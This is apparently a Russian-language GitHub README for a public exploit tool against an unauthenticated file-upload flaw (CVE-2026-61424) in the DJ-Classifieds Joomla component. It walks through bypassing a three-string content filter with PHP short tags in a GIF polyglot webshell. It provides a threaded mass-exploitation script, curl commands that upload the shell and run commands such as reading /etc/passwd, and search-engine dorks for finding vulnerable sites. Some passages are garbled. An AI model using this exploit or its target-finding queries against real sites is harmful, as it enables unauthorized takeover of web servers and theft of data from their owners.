shinthink/cve-2026-61424DJ-Classifieds Joomla Компонент Неаутентифицированная загрузка файлов RCE. Обход фильтра из 3 строк через короткие теги PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2
Неаутентифицированная произвольная загрузка файлов в DJ-Classifieds для Joomla. Конечная точка задачи imageupload обрабатывает загрузку файлов без аутентификации и полагается на блок-список из 3 строк (<?php, , ), который тривиально обходится с помощью коротких открывающих тегов PHP (). В сочетании с polyglot GIF загруженный файл проходит все проверки валидации изображений, содержа при этом полностью функциональный PHP-вебшелл.
eval(base64<?=| Поле | Детали |
|---|---|
| CVE | CVE-2026-61424 |
| Продукт | DJ-Classifieds (расширение Joomla от DJ-Extensions) |
| CVSS 4.0 | 10.0 (Критический) |
| Тип | CWE-434 — Неограниченная загрузка файлов |
| Обнаружено | Phil Taylor / mySites.guru — 16 июля 2026 г. |
| Эксплуатация | Подтверждена в реальных атаках до раскрытия |
| Статус | Версия |
|---|---|
| Уязвимые | 1.0 — 3.11.1 |
| Исправлено | 3.11.2 (20 июля 2026 г.) |
Метод upload() в administrator/components/com_djclassifieds/lib/djupload.php сопоставлен задаче imageupload без проверки аутентификации и без проверки CSRF-токена.
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method
// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check
$name = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');
// ... writes file to tmp/djupload/<name>
Сканер содержимого блокирует только три литеральные строки:
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
die('Malicious file detected');
}
Это блокирует <?php, eval( и base64 — но не короткие открывающие теги PHP:
<?=system($_GET['c']);?> ← 0/3 blocked strings → PASSES
Короткие теги вывода PHP (<?=) включены по умолчанию начиная с PHP 5.4.
GIF89a + <?=system($_GET['c']);?>index.php?option=com_djclassifieds&task=imageupload с параметром name=shell.gif.gif ✓ getimagesize() ✓ отсутствие <?php/eval(/base64 ✓tmp/djupload/<shell>.gifhttps://target.com/tmp/djupload/shell.gif?c=id| Файл | Роль |
|---|---|
administrator/components/com_djclassifieds/lib/djupload.php | метод upload() — без аутентификации, фильтр из 3 строк |
components/com_djclassifieds/controller.php | направляет задачу imageupload в upload() |
administrator/components/com_djclassifieds/djclassifieds.xml | раскрытие версии через тег <version> |
Анонимные пробные запросы сканеров, наблюдавшиеся в реальных атаках до раскрытия:
POST /index.php?option=com_djclassifieds&task=imageupload
name=<random>.gif filename=<random>.gif
— no cookie, no session, no referer
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt
python cve_2026_61424.py -t target.com
python cve_2026_61424.py -f targets.txt -o shells.txt
| Флаг | Описание | По умолчанию |
|---|---|---|
-t, --target | Одиночный целевой хост | — |
-f, --file | Файл с целями (по одной на строку, комментарии через #) | — |
-o, --output | Сохранить RCE-URL в файл | — |
--threads | Рабочие потоки для массового режима | 30 |
--no-cleanup | Не удалять шелл после RCE | False |
--debug | Отладочный вывод | False |
$ python cve_2026_61424.py -t target.com
Host : target.com
DJ-Classifieds: YES v3.11.1
Upload : YES
RCE : YES
Shell : https://target.com/tmp/djupload/img_abc123.gif
Output : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
Time : 2.1s
# Step 1 — Upload polyglot shell
curl -sk -X POST \
"https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
-H "Content-Type: image/gif" \
--data-binary @polyglot.gif
# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"
# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"
# DJ-Classifieds component
body="com_djclassifieds"
# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"
# Exposed djupload directory
body="Index of" && body="djupload"
# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"
JFactory::getUser() перед upload()JSession::checkToken() для задачи imageuploadjpg, jpeg, png, gif)Этот инструмент предназначен только для образовательного и авторизованного тестирования безопасности. Используйте его только в отношении систем, которыми вы владеете или на тестирование которых имеете явное разрешение. Автор не несёт ответственности за неправомерное использование или ущерб.
| Ресурс | Ссылка |
|---|---|
| IONIX Threat Center | ionix.io/threat-center/cve-2026-61424 |
| Обнаружение mySites.guru | mysites.guru/blog/dj-classifieds-unauthenticated-file-upload |
| Релиз безопасности DJ-Extensions | dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release |
| Запись CVE.org | cve.org/CVERecord?id=CVE-2026-61424 |
| INCIBE-CERT | incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424 |
Не аффилировано с DJ-Extensions или mySites.guru.